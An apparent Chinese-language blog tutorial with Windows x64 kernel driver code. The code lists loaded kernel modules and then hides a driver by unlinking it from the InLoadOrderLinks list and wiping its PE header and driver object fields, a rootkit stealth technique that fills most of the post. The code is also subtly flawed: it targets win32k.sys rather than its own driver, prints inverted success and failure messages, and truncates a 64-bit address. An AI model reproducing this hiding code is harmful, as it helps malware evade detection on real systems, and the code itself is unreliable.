枚舉和隱藏內核模塊

在 WIN64 上枚舉內核模塊有兩種方法:使用 ZwQuerySystemInformation 的第 11 號功能(SystemModuleInformation)和枚舉 KLDR_DATA_TABLE_ENTRY 中的 InLoadOrderLinks 雙向鏈表;
隱藏內核模塊的通用方法是把指定的驅動對象從 KLDR_DATA_TABLE_ENTRY中的 InLoadOrderLinks 雙向鏈表上摘除。

#include <ntddk.h>
#include <ntimage.h>

// dt _LDR_DATA_TABLE_ENTRY 
typedef struct _KLDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;//這個成員把系統所有加載(可能是停止沒被卸載)已經讀取到內存中 我們關心第一個  我們要遍歷鏈表 雙鏈表 不管中間哪個節點都可以遍歷整個鏈表 本驅動的驅動對象就是一個節點
	LIST_ENTRY InMemoryOrderLinks;//系統已經啓動 沒有被初始化 沒有調用DriverEntry這個歷程的時候 通過這個鏈表進程串接起來
	LIST_ENTRY InInitializationOrderLinks;//已經調用DriverEntry這個函數的所有驅動程序
	PVOID DllBase;
	PVOID EntryPoint;//驅動的進入點 DriverEntry
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;//驅動的滿路徑
	UNICODE_STRING BaseDllName;//不帶路徑的驅動名字
	ULONG Flags;
	USHORT LoadCount;
	USHORT TlsIndex;
	union {
		LIST_ENTRY HashLinks;
		struct {
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union {
		struct {
			ULONG TimeDateStamp;
		};
		struct {
			PVOID LoadedImports;
		};
	};
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
//系統所有程序 驅動對象裏都有這個結構 是驅動對象的成員qudongduixiang1->DriverSection(PVOID DriverSection) 這個結構體在什麼時候有的 io管理器在加載我們驅動的時候 
//調用DriverEntry這個歷程的時候 把我們驅動對象也加入到系統的一個全局鏈表中 
//就是爲了方便io管理器進行維護或者方便對象管理器進行維護 爲了查找方便 這個全局鏈表呢 把系統所有驅動程序串起來就是連接起來

VOID EnumDriver(PDRIVER_OBJECT pDriverObject)
{
	PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
	PKLDR_DATA_TABLE_ENTRY firstEntry;
	ULONG64 pDrvBase = 0;
	KIRQL OldIrql;
	firstEntry = entry;
	while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstEntry)
	{
		DbgPrint("BASE=%p\tPATH=%wZ", entry->DllBase, entry->FullDllName);
		entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
	}
}

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////
//隱藏驅動

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation
(
	IN ULONG	SystemInformationClass,
	OUT PVOID	SystemInformation,
	IN ULONG	Length,
	OUT PULONG	ReturnLength
);

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY
{
	ULONG Unknow1;
	ULONG Unknow2;
	ULONG Unknow3;
	ULONG Unknow4;
	PVOID Base;
	ULONG Size;
	ULONG Flags;
	USHORT Index;
	USHORT NameLength;
	USHORT LoadCount;
	USHORT ModuleNameOffset;
	char ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG Count;//內核中以加載的模塊的個數
	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _KLDR_DATA_TABLE_ENTRY_64
{
	LIST_ENTRY64 InLoadOrderLinks;
	ULONG64 __Undefined1;
	ULONG64 __Undefined2;
	ULONG64 __Undefined3;
	ULONG64 NonPagedDebugInfo;
	ULONG64 DllBase;
	ULONG64 EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG   Flags;
	USHORT  LoadCount;
	USHORT  __Undefined5;
	ULONG64 __Undefined6;
	ULONG   CheckSum;
	ULONG   __padding1;
	ULONG   TimeDateStamp;
	ULONG   __padding2;
}KLDR_DATA_TABLE_ENTRY_64, *PKLDR_DATA_TABLE_ENTRY_64;


ULONG64 GetSystemModuleBase(char* lpModuleName)
{
	ULONG NeedSize, i, ModuleCount, BufferSize = 0x5000;
	PVOID pBuffer = NULL;
	PCHAR pDrvName = NULL;
	NTSTATUS Result;
	PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
	do
	{
		//分配內存
		pBuffer = kmalloc(BufferSize);
		if (pBuffer == NULL)
			return 0;
		//查詢模塊信息  SystemModuleInformation
		Result = ZwQuerySystemInformation(11, pBuffer, BufferSize, &NeedSize);
		if (Result == STATUS_INFO_LENGTH_MISMATCH)
		{
			kfree(pBuffer);
			BufferSize *= 2;
		}
		else if (!NT_SUCCESS(Result))
		{
			//查詢失敗則退出
			kfree(pBuffer);
			return 0;
		}
	} while (Result == STATUS_INFO_LENGTH_MISMATCH);
	pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)pBuffer;
	//獲得模塊的總數量
	ModuleCount = pSystemModuleInformation->Count;
	//遍歷所有的模塊
	for (i = 0; i < ModuleCount; i++)
	{
		if ((ULONG64)(pSystemModuleInformation->Module[i].Base) >(ULONG64)0x8000000000000000)
		{
			pDrvName = pSystemModuleInformation->Module[i].ImageName + pSystemModuleInformation->Module[i].ModuleNameOffset;
			if (_stricmp(pDrvName, lpModuleName) == 0)
				return (ULONG64)pSystemModuleInformation->Module[i].Base;
		}
	}
	kfree(pBuffer);
	return 0;
}

//抹去pe頭,參數:驅動對象
BOOL HideDriverFromPeHeader(PDRIVER_OBJECT pDriverObject)
{
	PMDL pHeaderMdl;
	PIMAGE_DOS_HEADER ImageDosHeader;
	PIMAGE_NT_HEADERS ImageNtHeaders;
	BYTE *ImageBaseShadow;
	ULONG ImageBase;
	DWORD dwLdrDataTableEntry = 0;
	BOOL bRetOK = FALSE;

	//判斷當前的irql是否高於PASSIVE_LEVEL
	if (KeGetCurrentIrql() > PASSIVE_LEVEL)
	{
		return bRetOK;
	}
	//就是驅動的起始地址
	ImageBase = (ULONG)pDriverObject->DriverStart;
	__try
	{
		//判斷是否是有效的pe文件內存
		ImageDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
		if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
		{
			return bRetOK;
		}
		DbgPrint("ImageDosHeader  %x", (DWORD)ImageDosHeader);
		ImageNtHeaders = (PIMAGE_NT_HEADERS)(ImageBase + ImageDosHeader->e_lfanew);
		if (ImageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
		{
			return bRetOK;
		}
		//到這裏就得到了pe的nt結構體
		DbgPrint("ImageNtHeaders  %x", (DWORD)ImageNtHeaders);

		//利用MDL的方式來修改這個PE
		//創建映射
		pHeaderMdl = IoAllocateMdl((PVOID)ImageBase, ImageNtHeaders->OptionalHeader.SizeOfHeaders, FALSE, FALSE, NULL);
		if (pHeaderMdl)
		{
			//鎖住KernelMode,IoWriteAccess
			MmProbeAndLockPages(pHeaderMdl, KernelMode, IoWriteAccess);  //鎖住,避免被page out,直接會導致MmGetSystemAddressForMdl藍屏  - -。
			MmMapLockedPagesSpecifyCache(pHeaderMdl, KernelMode, MmWriteCombined, NULL, FALSE, NormalPagePriority);

			//到這裏呢,我們就得到了一個安全的可以操作的映射地址
			//我們對這個映射地址的操作,就相當於對xuetr的驅動基址進行操作一樣
			//MDL的方式在SSDT那幾節課已經說明
			ImageBaseShadow = MmGetSystemAddressForMdlSafe(pHeaderMdl, NormalPagePriority);
			if (ImageBaseShadow)
			{
				//得到pe頭
				ImageDosHeader = (PIMAGE_DOS_HEADER)ImageBaseShadow;
				ImageNtHeaders = (PIMAGE_NT_HEADERS)(ImageBaseShadow + ImageDosHeader->e_lfanew);

				//整個PE頭清零
				*(PUSHORT)ImageDosHeader = 0x00;
				*(PULONG)ImageNtHeaders = 0x00;

				//抹掉DriverObject結構的中的信息
				DbgPrint("pDriverObject:%08x\r\n", pDriverObject);

				*(PUSHORT)pDriverObject = 0;

				DbgPrint("Size:%d\r\n", pDriverObject->Size);

				//0x168,抹去,清零
				pDriverObject->Size = 0x0;
				pDriverObject->DriverStart = 0x0;
				pDriverObject->DriverSize = 0x0;
				bRetOK = TRUE;
			}
			//解除映射
			MmUnmapLockedPages(ImageBaseShadow, pHeaderMdl);
			MmUnlockPages(pHeaderMdl);
			IoFreeMdl(pHeaderMdl);
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER)
	{
		DbgPrint("PeHeader Error \r\n");
	}
	return bRetOK;
}


// 隱藏驅動
VOID HideDriver(PDRIVER_OBJECT pDriverObject)
{
	PKLDR_DATA_TABLE_ENTRY_64 entry = (PKLDR_DATA_TABLE_ENTRY_64)pDriverObject->DriverSection;
	PKLDR_DATA_TABLE_ENTRY_64 firstentry;
	ULONG64 pDrvBase = 0;
	KIRQL OldIrql;
	firstentry = entry;
	pDrvBase = GetSystemModuleBase("win32k.sys");
	while ((PKLDR_DATA_TABLE_ENTRY_64)entry->InLoadOrderLinks.Flink != firstentry)
	{
		if (entry->DllBase == pDrvBase)
		{
			//typedef struct LIST_ENTRY64 {
			//	ULONGLONG Flink;
			//	ULONGLONG Blink;
			//} LIST_ENTRY64;
			//typedef LIST_ENTRY64 *PLIST_ENTRY64;
			//le->Flink->Blink=le->Blink;
			//le->Blink->Flink=le->Flink;
			OldIrql = KeRaiseIrqlToDpcLevel();
			((LIST_ENTRY64*)(entry->InLoadOrderLinks.Flink))->Blink = entry->InLoadOrderLinks.Blink;
			((LIST_ENTRY64*)(entry->InLoadOrderLinks.Blink))->Flink = entry->InLoadOrderLinks.Flink;
			entry->InLoadOrderLinks.Flink = 0;
			entry->InLoadOrderLinks.Blink = 0;
			KeLowerIrql(OldIrql);
			DbgPrint("Remove LIST_ENTRY64 OK!");
			break;
		}
		//kprintf("%llx\t%wZ\t%wZ",entry->DllBase,entry->BaseDllName,entry->FullDllName);
		entry = (PKLDR_DATA_TABLE_ENTRY_64)entry->InLoadOrderLinks.Flink;
	}

	// 抹掉PE的文件信息
	if (HideDriverFromPeHeader(pDriverObject))
	{
		DbgPrint("HideDriverFromPeHeader failed!");
	}
	else
	{
		DbgPrint("HideDriverFromPeHeader success!");
	}
}

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章